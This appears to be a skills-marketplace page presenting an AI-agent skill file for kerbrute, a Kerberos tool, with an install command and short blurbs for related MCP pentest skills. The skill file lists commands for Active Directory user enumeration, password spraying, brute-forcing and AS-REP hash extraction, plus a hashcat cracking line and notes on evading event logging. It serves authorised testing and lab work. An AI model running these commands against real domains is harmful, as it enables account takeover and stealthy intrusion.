用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/AeonDave/malskill --skill kerbrute命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
Operate the MCPwn Kali/Debian MCP efficiently: manage sessions, discover catalog tools, choose synchronous, detached, or interactive execution, move files through workspace/CAS planes, establish tunnels and shells, and run GDB or Frida debugging in the MCPwn runtime or through explicit host/device transports. Use for MCPwn or Kali MCP work, pwn/CTF and dynamic-analysis sessions, remote targets, connectivity or file-transfer problems, and optional NeuroMatrix-backed emulation/debugging through MCPwn's emulation domain.
Operate the standalone, client-neutral NeuroMatrix emulation MCP: create isolated sessions, stage CAS artifacts, discover and run Unicorn/Qiling/QEMU/Renode tools, manage jobs and interactive processes, expose guest endpoints, and debug emulated targets with GDB. Use for reverse engineering, user-mode or full-system emulation, firmware/kernel/MCU analysis, guest-service rehosting, runtime-evidence collection, or as the optional emulation provider behind MCPwn or another orchestrator.
Create, implement, scaffold, migrate, or review Model Context Protocol (MCP) servers against modern MCP 2026-07-28. Use for server architecture, tool/resource/prompt contracts, stdio or Streamable HTTP transports, MRTR, optional extensions, authorization, security, and real-transport validation. Also use to isolate legacy initialization or session behavior. Do not use merely to configure an MCP client or invoke an existing server.
基于 SOC 职业分类
正在显示 SKILL.md
| name | kerbrute |
| description | Auth/lab ref: Kerberos-based user enumeration and password spraying tool for Active Directory. |
| license | MIT |
| compatibility | Linux, Windows, macOS. |
| metadata | {"author":"AeonDave","version":"1.0"} |
Fast Kerberos user enumeration and password spraying — leverages Kerberos pre-auth errors for stealthy enumeration.
# Enumerate valid users
kerbrute userenum -d domain.local --dc dc.domain.local users.txt
# Password spray
kerbrute passwordspray -d domain.local --dc dc.domain.local users.txt "Password123"
# Brute-force single user
kerbrute bruteuser -d domain.local --dc dc.domain.local passwords.txt john.doe
| Command | Description |
|---|---|
userenum | Enumerate valid usernames via Kerberos pre-auth |
passwordspray | Spray a single password against many users |
bruteuser | Brute-force a single user's password |
bruteforce | Brute-force user:password pairs from file |
| Flag | Description |
|---|---|
-d <domain> | Target domain (e.g., domain.local) |
--dc <dc> | Domain controller IP or hostname |
-t <n> | Threads (default 10) |
-o <file> | Output valid accounts to file |
--hash-file <file> | Output found hashes to file (AS-REP roasting) |
--downgrade | Force RC4 (weaker) encryption |
-v | Verbose |
--safe | Lock out protection (stop at 3 failures per user) |
--delay <ms> | Delay between requests (milliseconds) |
# User enumeration from a username list
kerbrute userenum -d corp.local --dc 10.10.10.1 usernames.txt -o valid_users.txt -v
# Generate usernames from a name list first
# e.g., john.doe, jdoe, johnd, etc.
# Safe password spray (avoid lockouts)
kerbrute passwordspray -d corp.local --dc 10.10.10.1 valid_users.txt "Spring2024!" \
--safe --delay 1000
# Get AS-REP hashes for users without pre-auth (then crack offline)
kerbrute userenum -d corp.local --dc 10.10.10.1 users.txt --hash-file asrep_hashes.txt
# Crack with hashcat: hashcat -a 0 -m 18200 asrep_hashes.txt rockyou.txt
# Combined spray + extract
kerbrute bruteforce -d corp.local --dc 10.10.10.1 user_pass_pairs.txt
Kerbrute generates KDC_ERR_C_PRINCIPAL_UNKNOWN errors for invalid users (event 4768 not generated). Valid user hits produce KDC_ERR_PREAUTH_FAILED (logged as 4771). Much stealthier than LDAP enumeration.
| File | When to load |
|---|---|
references/attacks.md | Kerberos attack chain (AS-REP roasting, Kerberoasting), username generation, detection evasion |